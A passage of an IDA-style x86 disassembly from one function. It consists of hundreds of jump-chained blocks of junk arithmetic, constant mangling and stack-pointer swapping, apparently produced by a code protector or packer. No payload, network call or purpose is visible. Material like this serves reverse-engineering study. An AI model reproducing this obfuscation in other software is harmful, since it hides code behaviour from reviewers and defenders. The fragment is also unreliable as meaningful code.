		sub	ebx, esi
		mov	esi, [esp+20h+var_22+2]
		jmp	loc_5AA903
; ---------------------------------------------------------------------------


loc_5B6A59:				; CODE XREF: sub_5A55E5+142FCj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+20h+var_22+2]
		pop	esp
		sub	esp, 4
		jmp	loc_5BB45D
; ---------------------------------------------------------------------------


loc_5B6A70:				; CODE XREF: sub_5A55E5+D43Cj
		mov	[esp+2Ch+var_2E+2], ebx
		mov	bl, 87h
		push	small 0
		sub	byte ptr [esp+2Eh+var_2E], bl
		mov	bl, byte ptr [esp+2Eh+var_2E]
		jmp	loc_5ADAE9
; ---------------------------------------------------------------------------


loc_5B6A84:				; CODE XREF: sub_5A55E5+8567j
		sub	esi, 2E701676h
		add	esi, ebx
		add	esi, 2E701676h
		add	esi, 1A8E35CAh
		push	ebx
		jmp	loc_5BE62E
; ---------------------------------------------------------------------------


loc_5B6A9E:				; CODE XREF: sub_5A55E5+18F51j
		add	eax, ebx
		sub	eax, 63703C75h
		pop	ebx
		push	edi
		push	2798h
		mov	[esp+2Ch+var_2E+2], eax
		jmp	loc_5AEFE7
; ---------------------------------------------------------------------------


loc_5B6AB4:				; CODE XREF: sub_5A55E5+17842j
		add	edx, esi
		pop	esi
		add	edx, 4
		push	edx
		push	[esp+2Ch+var_2A+2]
		pop	edx
		pop	[esp+2Ch+var_2E+2]
		pop	esp
		jmp	loc_5BE93C
; ---------------------------------------------------------------------------


loc_5B6AC9:				; DATA XREF: sub_5A55E5+437Bo
		mov	cx, word ptr [esp+14h+var_14]
		push	7B7Ch
		mov	[esp+18h+var_18], edx
		push	esp
		jmp	loc_5B7715
; ---------------------------------------------------------------------------


loc_5B6ADB:				; CODE XREF: sub_5A55E5+1574Dj
		mov	ebx, 2E9A5C26h
		shr	ebx, 8
		or	ebx, 2634117Fh
		push	ecx
		mov	ecx, 2DBB26DDh
		add	ecx, 12DA2D11h
		jmp	loc_5B3663
; ---------------------------------------------------------------------------


loc_5B6AFA:				; CODE XREF: sub_5A55E5+963Fj
		mov	eax, ecx
		pop	ecx
		push	esi
		mov	esi, 2A641BBFh
		dec	esi
		jmp	loc_5BA7A3
; ---------------------------------------------------------------------------


loc_5B6B09:				; CODE XREF: sub_5A55E5+180FDj
		add	dl, cl
		add	dl, 0C0h
		pop	ecx
		push	ebx
		mov	bh, 2Ch
		neg	bh
		shr	bh, 6
		push	edx
		mov	dh, bh
		not	dh
		jmp	loc_5AC43F
; ---------------------------------------------------------------------------


loc_5B6B21:				; CODE XREF: sub_5A55E5+7A88j
		pop	esi
		jmp	loc_5BC430
; ---------------------------------------------------------------------------


loc_5B6B27:				; CODE XREF: sub_5A55E5+478Cj
		mov	[esp+36h+var_36], ebp
		jmp	loc_5AF250
; ---------------------------------------------------------------------------


loc_5B6B2F:				; CODE XREF: sub_5A55E5+188F3j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+36h+var_36]
		pop	esp
		jmp	loc_5B5BAA
; ---------------------------------------------------------------------------


loc_5B6B41:				; CODE XREF: sub_5A55E5+BF7Cj
		pop	esi
		neg	eax
		not	eax
		xor	eax, 292A2A56h
		jmp	loc_5BCA1F
; ---------------------------------------------------------------------------


loc_5B6B50:				; CODE XREF: sub_5A55E5+49AAj
		push	5A9733DCh
		jmp	loc_5BC07A
; ---------------------------------------------------------------------------


loc_5B6B5A:				; CODE XREF: sub_5A55E5+6FC6j
		push	ebx
		mov	bl, 25h
		add	bl, 51h
		and	ch, bl
		pop	ebx
		sub	ch, 3Bh
		add	bl, ch
		pop	ecx
		push	edx
		jmp	loc_5B3CDA
; ---------------------------------------------------------------------------


loc_5B6B6F:				; CODE XREF: sub_5A55E5+16C38j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5AE3C2
; ---------------------------------------------------------------------------


loc_5B6B7F:				; CODE XREF: sub_5A55E5+C9DFj
		add	esp, 4
		push	ecx
		mov	ecx, 2
		sub	edx, 3D0D02B8h
		jmp	loc_5BD8FC
; ---------------------------------------------------------------------------


loc_5B6B96:				; CODE XREF: sub_5A55E5+AE56j
		sub	ebp, 0FA52D50Ch
		mov	esi, ebp
		jmp	loc_5AAD05
; ---------------------------------------------------------------------------


loc_5B6BA3:				; CODE XREF: sub_5A55E5+7283j
		sub	al, 14h
		mov	edx, [esp+2Ch+var_2E+2]
		jmp	loc_5B4D99
; ---------------------------------------------------------------------------


loc_5B6BAD:				; CODE XREF: sub_5A55E5+10800j
		xor	esi, ecx
		jmp	loc_5AFBD8
; ---------------------------------------------------------------------------


loc_5B6BB4:				; CODE XREF: sub_5A55E5+9C1Aj
		mov	ebp, esp
		push	ebx
		mov	ebx, esp
		push	esi
		jmp	loc_5B2FF0
; ---------------------------------------------------------------------------


loc_5B6BBF:				; CODE XREF: sub_5A55E5+187C9j
		sub	ebx, 4
		jmp	loc_5BF2F8
; ---------------------------------------------------------------------------


loc_5B6BC7:				; CODE XREF: sub_5A55E5+16CA9j
		pop	edi
		push	ebp
		mov	ebp, esp
		jmp	loc_5AD5A2
; ---------------------------------------------------------------------------


loc_5B6BD0:				; CODE XREF: sub_5A55E5+131A1j
		mov	[esp+2Ch+var_2E+2], ebp
		push	edi
		mov	edi, 17A51351h
		not	edi
		jmp	loc_5AD531
; ---------------------------------------------------------------------------


loc_5B6BE0:				; CODE XREF: sub_5A55E5+F542j
		push	ebx
		jmp	loc_5B277D
; ---------------------------------------------------------------------------


loc_5B6BE6:				; CODE XREF: sub_5A55E5+F78Aj
		pop	ebx
		jmp	loc_5BD6A6
; ---------------------------------------------------------------------------


loc_5B6BEC:				; CODE XREF: sub_5A55E5+45EFj
		mov	ecx, 3D661A6Eh
		or	edi, ecx
		pop	ecx
		sub	edi, 0C7679EDDh
		sub	esi, 55C22667h
		add	esi, edi
		jmp	loc_5BBFC5
; ---------------------------------------------------------------------------


loc_5B6C07:				; CODE XREF: sub_5A55E5+4DE3j
		pop	esp
		jmp	loc_5BCEF7
; ---------------------------------------------------------------------------


loc_5B6C0D:				; CODE XREF: sub_5A55E5+CDFDj
		add	ecx, 4
		jmp	loc_5B9956
; ---------------------------------------------------------------------------


loc_5B6C18:				; CODE XREF: sub_5A55E5+911Ej
		pop	eax
		pop	edx
		and	bl, cl
		mov	cx, word ptr [esp+10h+var_10]
		add	esp, 2
		sub	bl, 13h
		jmp	loc_5B0133
; ---------------------------------------------------------------------------


loc_5B6C2E:				; CODE XREF: sub_5A55E5+8B33j
		mov	ch, 81h
		sub	ch, 38h
		sub	ch, 0D3h
		sub	al, 0B8h
		add	al, ch
		add	al, 0B8h
		pop	cx
		jmp	loc_5AF4CA
; ---------------------------------------------------------------------------


loc_5B6C43:				; CODE XREF: sub_5A55E5+56E8j
		shl	ecx, 3
		jmp	loc_5B3853
; ---------------------------------------------------------------------------


loc_5B6C4B:				; CODE XREF: sub_5A55E5+C230j
		pop	edx
		and	esi, ecx
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_5AC02E
; ---------------------------------------------------------------------------


loc_5B6C57:				; CODE XREF: sub_5A55E5+D252j
		inc	ebp
		jmp	loc_5B9E9A
; ---------------------------------------------------------------------------


loc_5B6C5D:				; CODE XREF: sub_5A55E5+6410j
		push	edx
		mov	edx, 2397A84h
		mov	edi, 4171A00Dh
		jmp	loc_5BBACE
; ---------------------------------------------------------------------------


loc_5B6C6D:				; CODE XREF: sub_5A55E5+7917j
		mov	esp, [esp+4Ah+var_4A]
		shr	ecx, 7
		push	ebp
		push	117Ah
		mov	[esp+52h+var_54+2], edx
		push	esi
		jmp	loc_5B2DF0
; ---------------------------------------------------------------------------


loc_5B6C82:				; CODE XREF: sub_5A55E5+19CB8j
		pop	edx
		pop	[esp+52h+var_54+2]
		mov	esp, [esp+4Eh+var_50+2]
		mov	ax, word ptr [esp+4Eh+var_50+2]
		jmp	loc_5AB45E
; ---------------------------------------------------------------------------


loc_5B6C92:				; CODE XREF: sub_5A55E5+141D6j
		add	esp, 4
		add	ecx, ebp
		pop	ebp
		push	edx
		mov	edx, 3FAE5CDDh
		jmp	loc_5BA663
; ---------------------------------------------------------------------------


loc_5B6CA6:				; CODE XREF: sub_5A55E5+EEE0j
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+52h+var_54+2]
		pop	esp
		mov	[esp+4Eh+var_50+2], eax
		mov	eax, 4
		jmp	loc_5B24A4
; ---------------------------------------------------------------------------


loc_5B6CC4:				; CODE XREF: sub_5A55E5+10873j
		inc	edi
		sub	edi, 0DF0CAC92h
		add	ebp, edi
		pop	edi
		jmp	loc_5B9D27
; ---------------------------------------------------------------------------


loc_5B6CD3:				; CODE XREF: sub_5A55E5+12CB1j
		add	edi, 7CE073ECh
		jmp	loc_5ACD97
; ---------------------------------------------------------------------------


loc_5B6CDE:				; CODE XREF: sub_5A55E5+12298j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B6CE3:				; CODE XREF: sub_5A55E5+B582j
		pop	ebx
		push	esi
		jmp	loc_5AC8FD
; ---------------------------------------------------------------------------


loc_5B6CEA:				; CODE XREF: sub_5A55E5+11B89j
		mov	[esp+30h+var_32+2], edx
		mov	dl, 0E8h
		mov	al, 7Eh
		add	al, 95h
		sub	al, dl
		sub	al, 95h
		pop	edx
		mov	bl, al
		pop	eax
		mov	dl, bl
		pop	ebx
		jmp	loc_5B2A1B
; ---------------------------------------------------------------------------


loc_5B6D03:				; DATA XREF: sub_5A55E5+438Bo
		lodsd
		sub	esp, 4
		mov	[esp+18h+var_18], ebx
		push	esi
		push	1FAE11E9h
		mov	esi, [esp+20h+var_22+2]
		add	esp, 4
		inc	esi
		shr	esi, 1
		neg	esi
		push	ecx
		mov	ecx, 7108737Eh
		jmp	loc_5AC67A
; ---------------------------------------------------------------------------


loc_5B6D2C:				; CODE XREF: sub_5A55E5+1069Aj
		pop	ecx
		not	ecx
		dec	ecx
		add	ecx, 14A23FB9h
		push	eax
		mov	eax, 558D5BE3h
		jmp	loc_5AE83B
; ---------------------------------------------------------------------------


loc_5B6D41:				; CODE XREF: sub_5A55E5+CFB4j
		push	616Eh
		jmp	loc_5AFF37
; ---------------------------------------------------------------------------


loc_5B6D4B:				; CODE XREF: sub_5A55E5+686Ej
		pop	esp
		mov	[esp+1Ch+var_1C], edx
		sub	esp, 4
		mov	[esp+20h+var_22+2], ebx
		mov	bl, 0F0h
		or	bl, 0C7h
		push	eax
		mov	al, 58h
		jmp	loc_5AFE9F
; ---------------------------------------------------------------------------


loc_5B6D62:				; CODE XREF: sub_5A55E5+133D7j
		add	edx, ecx
		push	[esp+24h+var_26+2]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5B12AF
; ---------------------------------------------------------------------------


loc_5B6D79:				; CODE XREF: sub_5A55E5+11FF6j
		mov	[esp+28h+var_2A+2], eax
		jmp	loc_5AD461
; ---------------------------------------------------------------------------


loc_5B6D81:				; CODE XREF: sub_5A55E5+133EAj
		xor	[esp+28h+var_2A+2], eax
		jmp	loc_5AB246
; ---------------------------------------------------------------------------


loc_5B6D89:				; CODE XREF: sub_5A55E5+4C98j
		mov	edi, 0DCDCB180h
		jmp	loc_5B1162
; ---------------------------------------------------------------------------


loc_5B6D93:				; CODE XREF: sub_5A55E5+B7E0j
		mov	esp, [esp+20h+var_22+2]
		push	[esp+20h+var_22+2]
		mov	eax, [esp+24h+var_26+2]
		push	esi
		jmp	loc_5B0BA1
; ---------------------------------------------------------------------------


loc_5B6DA2:				; CODE XREF: sub_5A55E5+D2CBj
		add	edx, ecx
		sub	edx, 2CE350A1h
		pop	ecx
		push	ecx
		push	7E3Fh
		mov	[esp+0], edx
		push	19466DD2h
		jmp	loc_5BA938
; ---------------------------------------------------------------------------


loc_5B6DBE:				; CODE XREF: sub_5A55E5+12939j
		add	[esp+50h+var_50], 4
		mov	edi, [esp+50h+var_50]
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 291773F1h
		add	edi, 4A4F2ABEh
		push	72CEh
		mov	[esp+5Ch+var_5C], ecx
		mov	ecx, 1
		jmp	loc_5B8264
; ---------------------------------------------------------------------------


loc_5B6DE6:				; CODE XREF: sub_5A55E5+AEF7j
		pop	ebp
		mov	eax, esi
		pop	esi
		add	eax, 1
		xor	eax, 0FFEEEF45h
		sub	esi, 6CCD5EB7h
		jmp	loc_5B4305
; ---------------------------------------------------------------------------


loc_5B6DFF:				; CODE XREF: sub_5A55E5+11E4Ej
		sub	ebx, 3AE556DAh
		sub	ebx, edx
		add	ebx, 3AE556DAh
		pop	edx
		sub	ebx, ecx
		push	eax
		push	edx
		push	7247839h
		pop	edx
		jmp	loc_5AE3F0
; ---------------------------------------------------------------------------


loc_5B6E1D:				; CODE XREF: sub_5A55E5+7A63j
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		push	eax
		mov	eax, 2
		add	ebx, eax
		pop	eax
		xor	ebx, [esp+40h+var_42+2]
		xor	[esp+40h+var_42+2], ebx
		xor	ebx, [esp+40h+var_42+2]
		mov	esp, [esp+40h+var_42+2]
		cmp	cx, ax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B6E44:				; CODE XREF: sub_5A55E5+8A33j
		sub	esi, 5C4072A5h
		mov	ecx, esi
		pop	esi
		jmp	loc_5BE8A7
; ---------------------------------------------------------------------------


loc_5B6E52:				; CODE XREF: sub_5A55E5+C6AFj
		xor	ebx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		push	[esp+10h+var_10]
		pop	eax
		push	16C0h
		mov	[esp+14h+var_14], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_5B2E19
; ---------------------------------------------------------------------------


loc_5B6E71:				; CODE XREF: sub_5A55E5+5F6Aj
		push	136Fh
		mov	[esp+1Ch+var_1C], ecx
		push	esi
		push	42CC211Ah
		pop	esi
		shr	esi, 7
		sub	esi, 0AD658AB6h
		mov	ecx, esi
		pop	esi
		dec	ecx
		not	ecx
		push	edx
		mov	edx, 1AB07867h
		shr	edx, 7
		dec	edx
		shl	edx, 2
		jmp	loc_5B2B6A
; ---------------------------------------------------------------------------


loc_5B6EA1:				; CODE XREF: sub_5A55E5+5CD6j
		add	edi, 2E703C9Ah
		sub	edi, eax
		push	ebp
		jmp	loc_5BD8A4
; ---------------------------------------------------------------------------


loc_5B6EAF:				; CODE XREF: sub_5A55E5+6C00j
		add	al, bh
		mov	ebx, [esp+3Eh+var_3E]
		add	esp, 4
		push	ebx
		mov	bh, 9
		add	al, bh
		mov	ebx, [esp+3Eh+var_3E]
		add	esp, 4
		push	dx
		push	ebx
		mov	bh, 30h
		push	5D1Ah
		mov	[esp+44h+var_46+2], ecx
		mov	ch, 68h
		inc	ch
		dec	ch
		not	ch
		xor	ch, 96h
		sub	bh, ch
		pop	ecx
		add	bh, 5
		mov	dl, bh
		pop	ebx
		sub	al, 8Dh
		sub	al, dl
		push	bx
		mov	bl, 8Dh
		add	al, bl
		mov	bx, word ptr [esp+3Eh+var_3E]
		add	esp, 2
		jmp	loc_5AE672
; ---------------------------------------------------------------------------


loc_5B6EFF:				; CODE XREF: sub_5A55E5+7D60j
		sub	ebx, 30077174h
		not	ebx
		xor	ebx, 3F2E3EF5h
		push	ebp
		jmp	loc_5BE6C5
; ---------------------------------------------------------------------------


loc_5B6F13:				; CODE XREF: sub_5A55E5+5A51j
		and	byte ptr [esp+28h+var_2A+2], al
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B6F1C:				; CODE XREF: sub_5A55E5+17526j
		sub	esp, 4
		mov	[esp+30h+var_32+2], edi
		pop	ecx
		mov	edi, [esp+2Ch+var_2E+2]
		add	esp, 4
		sub	[edi+24h], ecx
		pop	ecx


loc_5B6F30:				; CODE XREF: sub_5A55E5+E002j
		push	424Ch
		mov	[esp+28h+var_2A+2], ebx
		push	[esp+28h+var_2A+2]
		mov	eax, [esp+2Ch+var_2E+2]
		jmp	loc_5B445F
; ---------------------------------------------------------------------------


loc_5B6F43:				; CODE XREF: sub_5A55E5+12D62j
		sub	[esp+2Ch+var_2A+2], 661930E6h
		add	[esp+2Ch+var_2A+2], ebx
		jmp	loc_5AEB07
; ---------------------------------------------------------------------------


loc_5B6F54:				; CODE XREF: sub_5A55E5+12629j
		push	1CCE2D11h
		pop	eax
		sub	esp, 4
		mov	[esp+30h+var_32+2], esi
		mov	esi, 645B26E9h
		jmp	loc_5B214F
; ---------------------------------------------------------------------------


loc_5B6F6D:				; CODE XREF: sub_5A55E5+15DF4j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5AD8E2
; ---------------------------------------------------------------------------


loc_5B6F7B:				; CODE XREF: sub_5A55E5+9339j
		add	edx, ebp
		mov	ebp, [esp+2Ah+var_2A]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5B0976
; ---------------------------------------------------------------------------


loc_5B6F8D:				; CODE XREF: sub_5A55E5+1443Aj
		push	eax
		jmp	loc_5BE8EB
; ---------------------------------------------------------------------------


loc_5B6F93:				; CODE XREF: sub_5A55E5+12BABj
		pop	esp
		add	ebp, 4
		add	ebp, 2
		push	ebp
		push	[esp+32h+var_2E]
		pop	ebp
		pop	[esp+32h+var_32]
		mov	esp, [esp+2Eh+var_2E]
		jmp	loc_5A9B6D
; ---------------------------------------------------------------------------


loc_5B6FAE:				; CODE XREF: sub_5A55E5+145D0j
		push	ebx
		push	51D9h
		mov	[esp+36h+var_36], esp
		add	[esp+36h+var_36], 4
		push	[esp+36h+var_36]
		jmp	loc_5BC6A0
; ---------------------------------------------------------------------------


loc_5B6FC3:				; CODE XREF: sub_5A55E5+195EDj
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		push	eax
		jmp	loc_5BDE73
; ---------------------------------------------------------------------------


loc_5B6FD7:				; CODE XREF: sub_5A55E5+17F12j
		not	ebp
		shl	ebp, 8
		neg	ebp
		jmp	loc_5B03A6
; ---------------------------------------------------------------------------


loc_5B6FE3:				; CODE XREF: sub_5A55E5+15912j
		push	1BA93640h
		pop	ebp
		xor	ebp, 1BA93644h
		push	ebp
		pop	ebx
		pop	ebp
		push	edx
		jmp	loc_5BA2F8
; ---------------------------------------------------------------------------


loc_5B6FF8:				; CODE XREF: sub_5A55E5+E079j
		and	edx, 429F1471h
		not	edx
		and	edx, 37AC4A6Fh
		jmp	loc_5BB772
; ---------------------------------------------------------------------------


loc_5B700B:				; CODE XREF: sub_5A55E5+13F36j
		push	ebp
		mov	ebp, 41FB4BACh
		jmp	loc_5B7FC7
; ---------------------------------------------------------------------------


loc_5B7016:				; CODE XREF: sub_5A55E5+E6F7j
		push	ecx
		mov	ch, 81h
		dec	ch
		shl	ch, 7
		add	ch, 0ACh
		xor	dl, ch
		pop	ecx
		sub	bl, dl
		pop	edx
		jmp	loc_5B5B16
; ---------------------------------------------------------------------------


loc_5B702C:				; CODE XREF: sub_5A55E5+141B3j
		pop	edx
		jmp	loc_5B1700
; ---------------------------------------------------------------------------


loc_5B7032:				; CODE XREF: sub_5A55E5+11072j
		push	ebp
		pop	eax
		jmp	loc_5AF012
; ---------------------------------------------------------------------------


loc_5B7039:				; CODE XREF: sub_5A55E5+16F71j
		pop	edi
		xor	edx, eax
		mov	eax, [esp+14h+var_14]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5BAA90
; ---------------------------------------------------------------------------


loc_5B7053:				; CODE XREF: sub_5A55E5+9685j
		sub	[esp+28h+var_26+2], 4E7E662Fh
		sub	[esp+28h+var_26+2], ebp
		add	[esp+28h+var_26+2], 4E7E662Fh
		pop	ebp
		push	[esp+24h+var_26+2]
		mov	ebx, [esp+28h+var_2A+2]
		jmp	loc_5BAF34
; ---------------------------------------------------------------------------


loc_5B7073:				; CODE XREF: sub_5A55E5+8F5Fj
		xor	esi, ecx
		push	edi
		mov	edi, 559A30CDh
		jmp	loc_5B552E
; ---------------------------------------------------------------------------


loc_5B7080:				; CODE XREF: sub_5A55E5+6B66j
		push	[esp+86h+var_88+2]
		mov	eax, [esp+8Ah+var_8C+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_5B6A34
; ---------------------------------------------------------------------------


loc_5B7097:				; CODE XREF: sub_5A55E5+B897j
		push	[esp+12h+var_14+2]
		pop	eax
		push	esi
		mov	esi, esp
		jmp	loc_5B2503
; ---------------------------------------------------------------------------


loc_5B70A3:				; CODE XREF: sub_5A55E5+1462Dj
		mov	[esp+16h+var_18+2], edx
		push	esp
		jmp	loc_5B2886
; ---------------------------------------------------------------------------


loc_5B70AC:				; CODE XREF: sub_5A55E5+664Ej
		add	ebp, 4
		xchg	ebp, [esp+2Eh+var_2E]
		pop	esp
		push	2524h
		mov	[esp+2Eh+var_2E], ecx
		push	esp
		mov	ecx, [esp+32h+var_32]
		add	esp, 4
		push	edi
		mov	edi, 4E593604h
		neg	edi
		jmp	loc_5B2D40
; ---------------------------------------------------------------------------


loc_5B70CF:				; CODE XREF: sub_5A55E5+A0D4j
		mov	esp, [esp+38h+var_3A+2]
		pop	[esp+38h+var_3A+2]
		mov	esp, [esp+34h+var_36+2]
		mov	ax, word ptr [esp+34h+var_36+2]
		push	5E4Ah
		mov	[esp+38h+var_3A+2], edi
		push	esp
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+3Ch+var_3E+2]
		pop	esp
		mov	[esp+38h+var_3A+2], ecx
		push	ebp
		mov	ebp, 73AA3A99h
		xor	ebp, 65D105B6h
		and	ebp, 38F2093Bh
		add	ebp, 219C20B6h
		jmp	loc_5BCA77
; ---------------------------------------------------------------------------


loc_5B7116:				; CODE XREF: sub_5A55E5+D282j
		mov	[esp+1Ch+var_1C], ebp
		jmp	loc_5B5EC0
; ---------------------------------------------------------------------------


loc_5B711E:				; CODE XREF: sub_5A55E5+18971j
		inc	bl
		jmp	loc_5B4D91
; ---------------------------------------------------------------------------


loc_5B7125:				; CODE XREF: sub_5A55E5+DB0Fj
		mov	edi, [esp+32h+var_32]
		add	esp, 4
		push	ebp
		jmp	loc_5B14AA
; ---------------------------------------------------------------------------


loc_5B7131:				; CODE XREF: sub_5A55E5+F31Aj
		pop	esp
		jmp	loc_5B32BF
; ---------------------------------------------------------------------------


loc_5B7137:				; CODE XREF: sub_5A55E5+B031j
		push	edx
		sub	esp, 4
		mov	[esp+26h+var_26], eax
		mov	al, 0B7h
		jmp	loc_5AFE08
; ---------------------------------------------------------------------------


loc_5B7145:				; CODE XREF: sub_5A55E5+97E1j
		push	esi
		push	esp
		mov	esi, [esp+46h+var_46]
		add	esp, 4
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+42h+var_42]
		pop	esp
		mov	[esp+3Eh+var_3E], edx
		push	5E27h
		mov	[esp+42h+var_42], ebx
		push	eax
		push	490Ch
		jmp	loc_5B6CEA
; ---------------------------------------------------------------------------


loc_5B7173:				; CODE XREF: sub_5A55E5+19803j
		xchg	ebp, [esp+4Ah+var_4A]
		pop	esp
		jmp	loc_5A9ECD
; ---------------------------------------------------------------------------


loc_5B717C:				; CODE XREF: sub_5A55E5+5AC7j
		sub	edx, 497B2E04h
		jmp	loc_5B5AE1
; ---------------------------------------------------------------------------


loc_5B7187:				; CODE XREF: sub_5A55E5+193A6j
		xor	edx, 0A232FF5h
		xor	edx, 5BFD120Bh
		add	eax, edx
		pop	edx
		xchg	eax, [esp+30h+var_32+2]
		mov	esp, [esp+30h+var_32+2]
		sub	esp, 4
		mov	[esp+34h+var_36+2], ebx
		push	0C4Ah
		mov	[esp+38h+var_3A+2], ebp
		push	ebx
		push	edx
		jmp	loc_5B9557
; ---------------------------------------------------------------------------


loc_5B71B4:				; DATA XREF: sub_5A55E5+423Fo
		mov	ax, word ptr [esp+14h+var_14]
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, 23A316B6h
		shl	ebx, 8
		jmp	loc_5B91CD
; ---------------------------------------------------------------------------


loc_5B71D9:				; CODE XREF: sub_5A55E5+19489j
		pop	edx
		add	bl, al
		pop	eax
		jmp	loc_5AEE31
; ---------------------------------------------------------------------------


loc_5B71E2:				; CODE XREF: sub_5A55E5+137E7j
		pop	esi
		sub	ecx, edx
		push	esi
		push	edi
		mov	edi, 4EB60435h
		xor	edi, 6DB94F97h
		sub	edi, 51EE13F6h
		jmp	loc_5BE53B
; ---------------------------------------------------------------------------


loc_5B71FD:				; CODE XREF: sub_5A55E5+16028j
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		mov	dh, 0DEh
		xor	dh, 23h
		add	dh, 26h
		xor	dh, 47h
		jmp	loc_5B357D
; ---------------------------------------------------------------------------


loc_5B721C:				; CODE XREF: sub_5A55E5+8994j
		inc	edi
		or	edi, 77584DBFh
		and	edi, 6EF202C9h
		xchg	ebx, edi
		not	ebx
		xchg	ebx, edi
		xor	edi, 0FD24EC7h
		push	3ED2h
		jmp	loc_5B082D
; ---------------------------------------------------------------------------


loc_5B723F:				; CODE XREF: sub_5A55E5+128A1j
		sub	ebx, 4225683Ch
		add	ebx, 684F5089h
		pop	edx
		shl	ebx, 1
		and	ebx, 4E3278CFh
		and	ebx, 0F0052EAh
		add	ebx, 75AB6DABh
		xor	ebx, 7DAB6DAFh
		jmp	loc_5B2A67
; ---------------------------------------------------------------------------


loc_5B726B:				; CODE XREF: sub_5A55E5+4839j
		mov	eax, [esp+4Ah+var_4A]
		add	esp, 4
		jmp	loc_5ACE37
; ---------------------------------------------------------------------------


loc_5B7276:				; CODE XREF: sub_5A55E5+9EB8j
		sub	eax, 765F0877h
		add	eax, ebp
		add	eax, 765F0877h
		mov	ebp, [esp+0]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		jmp	loc_5BEFD9
; ---------------------------------------------------------------------------


loc_5B729B:				; CODE XREF: sub_5A55E5+124E0j
		sub	[esp+1Eh+var_1C+2], 38122499h
		add	[esp+1Eh+var_1C+2], ebp
		add	[esp+1Eh+var_1C+2], 38122499h
		pop	ebp
		mov	eax, [esp+1Ah+var_1C+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], ebp
		push	eax
		push	7C6Bh
		mov	[esp+22h+var_22], ebp
		mov	ebp, 630697Fh
		jmp	loc_5AD75F
; ---------------------------------------------------------------------------


loc_5B72CF:				; CODE XREF: sub_5A55E5+19179j
		not	[esp+22h+var_22]
		push	[esp+22h+var_22]
		pop	edi
		jmp	loc_5BAAE1
; ---------------------------------------------------------------------------


loc_5B72DB:				; CODE XREF: sub_5A55E5+8E1Dj
		xor	ebx, 420F5EB2h
		or	ebx, 0C9D07E8h
		inc	ebx
		sub	ebx, 0DFB3A552h
		or	edx, ebx
		pop	ebx
		add	edx, 32323A83h
		jmp	loc_5B367A
; ---------------------------------------------------------------------------


loc_5B72FC:				; CODE XREF: sub_5A55E5+1786Ej
		xchg	eax, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B7307:				; CODE XREF: sub_5A55E5+5C18j
		add	dl, 9Eh
		mov	eax, [esp+22h+var_22]
		jmp	loc_5ABFD3
; ---------------------------------------------------------------------------


loc_5B7312:				; CODE XREF: sub_5A55E5+58CAj
		xor	esi, [esp+2Ch+var_2E+2]
		mov	esp, [esp+2Ch+var_2E+2]
		mov	ax, word ptr [esp+2Ch+var_2E+2]
		push	esi
		jmp	loc_5BA6D2
; ---------------------------------------------------------------------------


loc_5B7322:				; CODE XREF: sub_5A55E5+14B27j
		push	eax
		mov	eax, 746F4273h
		jmp	loc_5ACF72
; ---------------------------------------------------------------------------


loc_5B732D:				; CODE XREF: sub_5A55E5+7181j
		sub	ebx, 1DE36C1Bh
		mov	ecx, [esp+0]
		jmp	loc_5BCE14
; ---------------------------------------------------------------------------


loc_5B733B:				; CODE XREF: sub_5A55E5+591Ej
		pop	esi
		push	2539h
		jmp	loc_5AE468
; ---------------------------------------------------------------------------


loc_5B7346:				; CODE XREF: sub_5A55E5+15B36j
		mov	[esp+1Ah+var_1C+2], eax
		jmp	loc_5AA1D9
; ---------------------------------------------------------------------------


loc_5B734E:				; CODE XREF: sub_5A55E5+1771Dj
		pop	esp
		mov	[esp+16h+var_18+2], ebx
		push	47CEh
		jmp	loc_5B036E
; ---------------------------------------------------------------------------


loc_5B735C:				; CODE XREF: sub_5A55E5+A20Fj
		pop	ecx
		sub	al, bh
		mov	bx, word ptr [esp+1Ah+var_1C+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5AD425
; ---------------------------------------------------------------------------


loc_5B7371:				; CODE XREF: sub_5A55E5+A402j
		inc	ecx
		jmp	loc_5BE135
; ---------------------------------------------------------------------------


loc_5B7377:				; CODE XREF: sub_5A55E5+18245j
		push	ebx
		push	edi
		mov	edi, 542C3DDFh
		mov	ebx, edi
		pop	edi
		jmp	loc_5AEA76
; ---------------------------------------------------------------------------


loc_5B7386:				; CODE XREF: sub_5A55E5+7090j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B738B:				; CODE XREF: sub_5A55E5+7C6Ej
		shl	ebp, 4
		sub	ebp, 0B0EB03Ch
		xor	ecx, ebp
		pop	ebp
		mov	ebp, ecx
		jmp	loc_5B8F9C
; ---------------------------------------------------------------------------


